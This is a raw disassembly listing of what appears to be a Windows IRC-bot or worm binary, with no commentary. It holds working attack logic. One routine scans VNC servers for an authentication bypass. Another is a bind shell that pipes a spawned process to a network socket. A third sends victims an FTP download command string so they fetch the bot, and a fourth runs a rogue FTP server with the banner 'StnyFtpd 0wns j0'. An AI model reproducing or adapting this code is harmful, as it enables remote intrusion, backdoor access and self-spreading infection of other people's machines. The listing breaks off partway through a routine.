loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_42721C	; closesocket
		push	1
		pop	eax


loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: .packed:off_431AD4o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CB674	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB634	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_427220	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_427214	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------


loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_43298C
		push	esi
		call	dword_427224	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146


loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		call	dword_42721C	; closesocket


loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------


loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		call	dword_42721C	; closesocket
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431AD8[eax]
		lea	eax, dword_431AD8[eax]


loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax


loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: .packed:0040E27Ap
					; .packed:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB64C	; recv
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------


loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------


loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax


loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: .packed:0040E2C6p
					; .packed:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC


loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB684	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5


loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax


loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433BD0
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CB6B4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------


loc_40E234:				; CODE XREF: .packed:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB674	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB634	; htons
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5DC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx


loc_40E268:				; CODE XREF: .packed:0040E232j
		call	dword_4CB6CC	; closesocket
		jmp	loc_40E46E
; ---------------------------------------------------------------------------


loc_40E273:				; CODE XREF: .packed:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467


loc_40E2BF:				; CODE XREF: .packed:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4CB4EC
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch


loc_40E3F7:				; CODE XREF: .packed:0040E3EAj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431AD8[eax]
		push	ebx
		lea	eax, dword_431AD8[eax]
		call	dword_42721C	; closesocket
		push	1
		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------


loc_40E467:				; CODE XREF: .packed:0040E284j
					; .packed:0040E2A9j ...
		push	ebx
		call	dword_42721C	; closesocket


loc_40E46E:				; CODE XREF: .packed:0040E26Ej
		xor	eax, eax


loc_40E470:				; CODE XREF: .packed:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40E475	proc near		; DATA XREF: sub_40E503+15Bo

var_404		= byte ptr -404h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E47E:				; CODE XREF: sub_40E475+25j
					; sub_40E475+41j
		push	0
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4CE374
		call	dword_4CB64C	; recv
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	dword_4CE370
		call	dword_4270E0	; WriteFile
		jmp	short loc_40E47E
sub_40E475	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40E4B8	proc near		; DATA XREF: sub_40E503+142o

var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E4C1:				; CODE XREF: sub_40E4B8+2Fj
					; sub_40E4B8+49j
		lea	eax, [ebp+var_4]
		and	[ebp+var_4], 0
		push	0
		push	eax
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4CE364
		call	dword_4270E8	; ReadFile
		cmp	[ebp+var_4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp+var_404]
		push	[ebp+var_4]
		push	eax
		push	dword_4CE374
		call	dword_4CB684	; send
		jmp	short loc_40E4C1
sub_40E4B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40E503	proc near		; DATA XREF: sub_401ACD+2D0Do

var_11C		= byte ptr -11Ch
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_38		= word ptr -38h
var_36		= word ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	28h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_11C]
		rep movsd
		push	1
		xor	edi, edi
		pop	esi
		mov	[eax+98h], esi
		push	10h
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_38], 2
		push	[ebp+var_98]
		call	dword_4CB634	; htons
		push	6
		push	esi
		push	2
		mov	[ebp+var_36], ax
		call	dword_4CB6B4	; socket
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB660	; bind
		push	5
		push	[ebp+arg_0]
		call	dword_4CB65C	; listen
		mov	ebx, dword_4270FC
		mov	esi, dword_427068


loc_40E583:				; CODE XREF: sub_40E503+1CBj
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	dword_4CB6C8	; accept
		mov	dword_4CE374, eax
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4CE370
		push	offset dword_4CE36C
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], edi
		call	ebx	; CreatePipe
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4CE368
		push	offset dword_4CE364
		call	ebx	; CreatePipe
		push	44h
		lea	eax, [ebp+var_7C]
		push	edi
		push	eax
		call	sub_41B590
		mov	eax, dword_4CE36C
		add	esp, 0Ch
		mov	[ebp+var_44], eax
		mov	eax, dword_4CE368
		mov	[ebp+var_40], eax
		push	edi
		push	1
		lea	eax, [ebp+var_3C]
		push	2
		push	eax
		mov	[ebp+var_7C], 44h
		mov	[ebp+var_50], 101h
		mov	[ebp+var_4C], di
		call	dword_4270F8	; GetCurrentProcess
		push	eax
		push	dword_4CE368
		call	dword_4270F8	; GetCurrentProcess
		push	eax
		call	dword_4270F4	; DuplicateHandle
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	edi
		push	edi
		push	4000090h
		lea	eax, [ebp+var_C]
		push	1
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_433BD4
		push	edi
		call	dword_42706C	; CreateProcessA
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40E4B8
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_42707C	; CreateThread
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40E475
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_42707C	; CreateThread
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	[ebp+var_28]
		call	dword_4270A0	; WaitForSingleObject
		push	edi
		push	[ebp+var_10]
		call	dword_4270AC	; TerminateThread
		push	edi
		push	[ebp+var_14]
		call	dword_4270AC	; TerminateThread
		push	[ebp+var_10]
		call	esi	; CloseHandle
		push	[ebp+var_14]
		call	esi	; CloseHandle
		push	edi
		push	[ebp+var_28]
		call	dword_4270F0	; TerminateProcess
		push	dword_4CE36C
		call	esi	; CloseHandle
		push	dword_4CE370
		call	esi	; CloseHandle
		push	dword_4CE364
		call	esi	; CloseHandle
		push	dword_4CE368
		call	esi	; CloseHandle
		push	[ebp+var_24]
		call	esi	; CloseHandle
		push	[ebp+var_28]
		call	esi	; CloseHandle
		jmp	loc_40E583
sub_40E503	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40E6D3	proc near		; DATA XREF: .packed:00429010o
		jmp	$+5
sub_40E6D3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E6D8	proc near
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4CE37C, eax
		pop	ecx
		retn
sub_40E6D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E6EF	proc near		; DATA XREF: sub_40BACD+34Do

var_6C0		= byte ptr -6C0h
var_2C0		= byte ptr -2C0h
var_C0		= byte ptr -0C0h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 6C0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	27h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[eax+98h], esi
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_A4]
		call	dword_4CB634	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], ebx
		call	dword_4CB6B4	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jnz	short loc_40E796
		cmp	[ebp+var_1C], ebx
		jnz	short loc_40E776
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409A72
		add	esp, 14h


loc_40E776:				; CODE XREF: sub_40E6EF+65j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4151AC
		push	[ebp+var_AC]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread


loc_40E796:				; CODE XREF: sub_40E6EF+60j
		mov	eax, [ebp+var_AC]
		push	10h
		imul	eax, 234h
		mov	dword_43E57C[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4CB660	; bind
		cmp	eax, esi
		mov	ebx, 400h
		jnz	loc_40E891
		call	dword_4CB5C8	; WSAGetLastError
		cmp	eax, 2740h
		jz	short loc_40E816
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40E7F6
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409A72
		add	esp, 14h


loc_40E7F6:				; CODE XREF: sub_40E6EF+E5j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4151AC
		push	[ebp+var_AC]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread


loc_40E816:				; CODE XREF: sub_40E6EF+DEj
		push	0FFFEh
		push	ebx
		call	sub_418684
		pop	ecx
		mov	dword_4CE37C, eax
		pop	ecx
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	dword_4CB660	; bind
		cmp	eax, esi
		jnz	short loc_40E891
		call	dword_4CB5C8	; WSAGetLastError
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40E871
		cmp	eax, 2740h
		jz	short loc_40E871
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409A72
		add	esp, 14h


loc_40E871:				; CODE XREF: sub_40E6EF+159j
					; sub_40E6EF+160j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4151AC
		push	[ebp+var_AC]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread


loc_40E891:				; CODE XREF: sub_40E6EF+CDj
					; sub_40E6EF+14Cj
		push	5
		push	edi
		call	dword_4CB65C	; listen
		cmp	eax, esi
		jz	loc_40E976
		mov	[ebp+var_4], 10h
		mov	esi, offset byte_429108


loc_40E8AE:				; CODE XREF: sub_40E6EF+1D7j
					; sub_40E6EF+227j ...
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	edi
		call	dword_4CB6C8	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40E8AE
		cmp	[ebp+var_1C], 0
		jnz	short loc_40E8EF
		push	0
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409A72
		add	esp, 14h


loc_40E8EF:				; CODE XREF: sub_40E6EF+1DDj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_2C0]
		push	0
		push	200h
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB64C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E8AE
		push	esi
		push	esi
		push	dword_4CB370
		push	[ebp+var_B0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
		lea	eax, [ebp+var_6C0]
		push	ebx
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_6C0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6C0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB684	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E8AE
		inc	dword_4CE384
		jmp	loc_40E8AE
; ---------------------------------------------------------------------------


loc_40E976:				; CODE XREF: sub_40E6EF+1ADj
		push	edi
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_AC]
		call	sub_40B412
		pop	ecx
		push	0
		call	dword_4270CC	; ExitThread
sub_40E6EF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E991	proc near		; DATA XREF: sub_40BACD+22Ao

var_A70		= byte ptr -0A70h
var_8E0		= byte ptr -8E0h
var_6E0		= dword	ptr -6E0h
var_4C8		= byte ptr -4C8h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_338		= byte ptr -338h
var_2D4		= byte ptr -2D4h
var_2A0		= byte ptr -2A0h
var_23C		= byte ptr -23Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_128		= byte ptr -128h
var_FC		= byte ptr -0FCh
var_C8		= byte ptr -0C8h
var_B0		= byte ptr -0B0h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_3C		= byte ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A70h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6E0]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A70]
		xor	esi, esi
		push	eax
		push	101h
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_22C], esi
		mov	[ebp+var_43C], esi
		call	dword_4271F0	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	dword_427220	; socket
		mov	esi, dword_4271F4
		lea	ecx, [ebp+var_1C]
		push	4
		push	ecx
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	eax
		mov	[ebp+var_8], eax
		call	esi	; setsockopt
		lea	eax, [ebp+var_2C]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		call	esi	; setsockopt
		lea	eax, [ebp+var_24]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4271F8	; ioctlsocket
		mov	ax, word ptr dword_4CB370
		and	[ebp+var_48], 0
		push	eax
		mov	[ebp+var_4C], 2
		call	dword_4CB634	; htons
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	edi
		call	dword_4271FC	; bind
		test	eax, eax
		jge	short loc_40EA57
		mov	eax, ebx
		jmp	loc_40EFB7
; ---------------------------------------------------------------------------


loc_40EA57:				; CODE XREF: sub_40E991+BDj
		push	0Ah
		push	edi
		call	dword_427200	; listen
		mov	[ebp+var_22C], ebx
		mov	ebx, dword_427224
		mov	[ebp+var_228], edi
		mov	[ebp+var_4], edi


loc_40EA75:				; CODE XREF: sub_40E991+11Dj
					; sub_40E991+61Ej
		push	41h
		lea	esi, [ebp+var_22C]
		pop	ecx
		lea	edi, [ebp+var_43C]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_43C]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_427228	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EFB4
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_40EA75


loc_40EAB0:				; CODE XREF: sub_40E991+618j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41B590
		push	64h
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_43C]
		push	eax
		push	edi
		call	sub_426756	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40EFA2
		cmp	edi, [ebp+var_8]
		jnz	short loc_40EB67
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		push	[ebp+var_8]
		call	dword_427204	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EFA2
		xor	ecx, ecx
		cmp	[ebp+var_22C], esi
		jbe	short loc_40EB31
		lea	edx, [ebp+var_228]


loc_40EB21:				; CODE XREF: sub_40E991+19Ej
		cmp	[edx], eax
		jz	short loc_40EB31
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_22C]
		jb	short loc_40EB21


loc_40EB31:				; CODE XREF: sub_40E991+188j
					; sub_40E991+192j
		cmp	ecx, [ebp+var_22C]
		jnz	short loc_40EB4F
		cmp	[ebp+var_22C], 40h
		jnb	short loc_40EB4F
		mov	[ebp+ecx*4+var_228], eax
		inc	[ebp+var_22C]


loc_40EB4F:				; CODE XREF: sub_40E991+1A6j
					; sub_40E991+1AFj
		cmp	eax, [ebp+var_4]
		jle	short loc_40EB57
		mov	[ebp+var_4], eax


loc_40EB57:				; CODE XREF: sub_40E991+1C1j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_40EFA2
; ---------------------------------------------------------------------------


loc_40EB67:				; CODE XREF: sub_40E991+15Aj
		push	esi
		lea	eax, [ebp+var_2A0]
		push	64h
		push	eax
		push	edi
		call	dword_427218	; recv
		test	eax, eax
		jg	short loc_40EBCE
		mov	edx, [ebp+var_22C]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40EBC2
		lea	eax, [ebp+var_228]


loc_40EB8E:				; CODE XREF: sub_40E991+207j
		cmp	[eax], edi
		jz	short loc_40EB9C
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_40EB8E
		jmp	short loc_40EBC2
; ---------------------------------------------------------------------------


loc_40EB9C:				; CODE XREF: sub_40E991+1FFj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40EBBC
		lea	eax, [ebp+ecx*4+var_228]


loc_40EBA8:				; CODE XREF: sub_40E991+229j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_22C]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_40EBA8


loc_40EBBC:				; CODE XREF: sub_40E991+20Ej
		dec	[ebp+var_22C]


loc_40EBC2:				; CODE XREF: sub_40E991+1F5j
					; sub_40E991+209j
		push	edi
		call	dword_42721C	; closesocket
		jmp	loc_40EFA2
; ---------------------------------------------------------------------------


loc_40EBCE:				; CODE XREF: sub_40E991+1E9j
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_41C645
		lea	eax, [ebp+var_B0]
		push	offset aUser_1	; "USER"
		push	eax
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40EC12
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40EC94
; ---------------------------------------------------------------------------


